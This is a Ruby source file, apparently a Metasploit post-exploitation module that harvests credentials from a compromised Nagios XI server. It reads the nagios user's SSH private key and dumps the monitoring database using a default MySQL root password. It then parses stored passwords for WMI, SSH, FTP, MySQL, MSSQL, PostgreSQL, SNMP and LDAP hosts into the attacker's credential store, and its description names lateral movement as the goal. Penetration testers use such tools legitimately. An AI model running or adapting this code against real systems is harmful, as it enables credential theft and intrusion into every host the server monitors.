modules/post/linux/gather/enum_nagios_xi.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Linux::System
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Nagios XI Enumeration',
'Description' => %q{
NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,
creating opportunities for lateral movement.
},
'License' => MSF_LICENSE,
'Author' => [
'Cale Smith', # @0xC413
],
'DisclosureDate' => '2018-04-17',
'Platform' => 'linux',
'SessionTypes' => ['shell', 'meterpreter']
}
)
)
register_options([
OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ])
])
end
# save found creds in the MSF DB for easy use
# , login)
def report_obj(cred, login)
return if cred.nil? || login.nil?
credential_data = {
origin_type: :session,
post_reference_name: fullname,
session_id: session_db_id,
workspace_id: myworkspace_id
}.merge(cred)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
workspace_id: myworkspace_id
}.merge(login)
create_credential_login(login_data)
end
# parse out domain realm for windows services
def parse_realm(username)
userealm = username.split('/')
if userealm.count > 1
realm = userealm[0]
username = userealm[1]
credential_data = {
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: realm,
username: username
}
else
credential_data = {
username: username
}
end
return credential_data
end
def run
@peer = "#{session.session_host}:#{session.session_port}"
@creds = []
@ssh_keys = []
# get nagios SSH private key
id_rsa_path = '/home/nagios/.ssh/id_rsa'
if file?(id_rsa_path)
print_good('Attempting to grab Nagios SSH key')
ssh_key = read_file(id_rsa_path)
ssh_key_loot = store_loot(
'nagios_ssh_priv_key',
'text/plain',
session,
ssh_key,
nil
)
print_status("Nagios SSH key stored in #{ssh_key_loot}")
else
print_status('No SSH key found')
end
print_status('Attempting to dump Nagios DB')
db_dump_file = "/tmp/#{Rex::Text.rand_text_alpha(6)}"
sql_query = %(mysql -u root -p#{datastore['DB_ROOT_PWD']} -e ")
sql_query << %|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\"','%22') FROM nagios.nagios_hosts |
sql_query << %(INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id )
sql_query << %(INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id )
sql_query << %(WHERE nagios_services.check_command_object_id!=89 )
sql_query << %(ORDER BY nagios_services.check_command_object_id )
sql_query << %(INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\"' LINES TERMINATED BY '\\n' ;")
out = cmd_exec(sql_query)
if out.match(/error/i)
print_error("Could not get DB contents: #{out.gsub(/\n/, ' ')}")
return
else
db_dump = read_file(db_dump_file)
print_good('Nagios DB dump successful')
# store raw db results, there is likely good stuff in here that we don't parse out
db_loot = store_loot(
'nagiosxi_raw_db_dump',
'text/plain',
session,
db_dump,
nil
)
print_status("Raw Nagios DB dump #{db_loot}")
print_status("Look through the DB dump manually. There could be\ some good loot we didn't parse out.")
end
CSV.parse(db_dump) do |row|
case row[0]
when '110' # WMI
host = row[1]
creds = row[2].split('!')
username = creds[0].match(/'(.*?)'/)[1]
password = creds[1].match(/'(.*?)'/)[1]
user_credential_data = parse_realm(username)
credential_data = {
private_data: password,
private_type: :password
}.merge(user_credential_data)
login_data = {
address: host,
port: 135,
service_name: 'WMI',
protocol: 'tcp'
}
when '59' # SSH
host = row[1]
credential_data = {
username: 'nagios',
private_data: ssh_key,
private_type: :ssh_key
}
login_data = {
address: host,
port: 22,
service_name: 'SSH',
protocol: 'tcp'
}
when '25' # FTP
host = row[1]
creds = row[2].split('!')
username = creds[0]
password = creds[1]
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 21,
service_name: 'FTP',
protocol: 'tcp'
}
when '67' # MYSQL
host = row[1]
username = row[2].match(/--username=(.*?)\s/)[1]
password = row[2].match(/--password=%22(.*?)%22/)[1]
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 3306,
service_name: 'MySQL',
protocol: 'tcp'
}
when '66' # MSSQL
host = row[1]
username = row[2].match(/-U '(.*?)'/)[1]
password = row[2].match(/-P '(.*?)'/)[1]
user_credential_data = parse_realm(username)
credential_data = {
private_data: password,
private_type: :password
}.merge(user_credential_data)
login_data = {
address: host,
port: 1433,
service_name: 'MSSQL',
protocol: 'tcp'
}
when '76' # POSTGRES
host = row[1]
username = row[2].match(/--dbuser=(.*?)\s/)[1]
password = row[2].match(/--dbpass=%22(.*?)%22/)[1]
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 5432,
service_name: 'PostgreSQL',
protocol: 'tcp'
}
when '85' # SNMP
host = row[1]
creds = row[2].split('!')
password = ' '
username = creds[0]
port = 161
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 161,
service_name: 'SNMP',
protocol: 'udp'
}
when '88' # LDAP
host = row[1]
username = row[2].match(/-D %22(.*?)%22/)[1]
password = row[2].match(/-P %22(.*?)%22/)[1]
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 389,
service_name: 'LDAP',
protocol: 'tcp'
}
else
# base case
end
unless credential_data.nil? || login_data.nil?
report_obj(credential_data, login_data)
end
end
print_status("Run 'creds' to see credentials loaded into the MSF DB")
# cleanup db dump
register_file_for_cleanup(db_dump_file)
end
end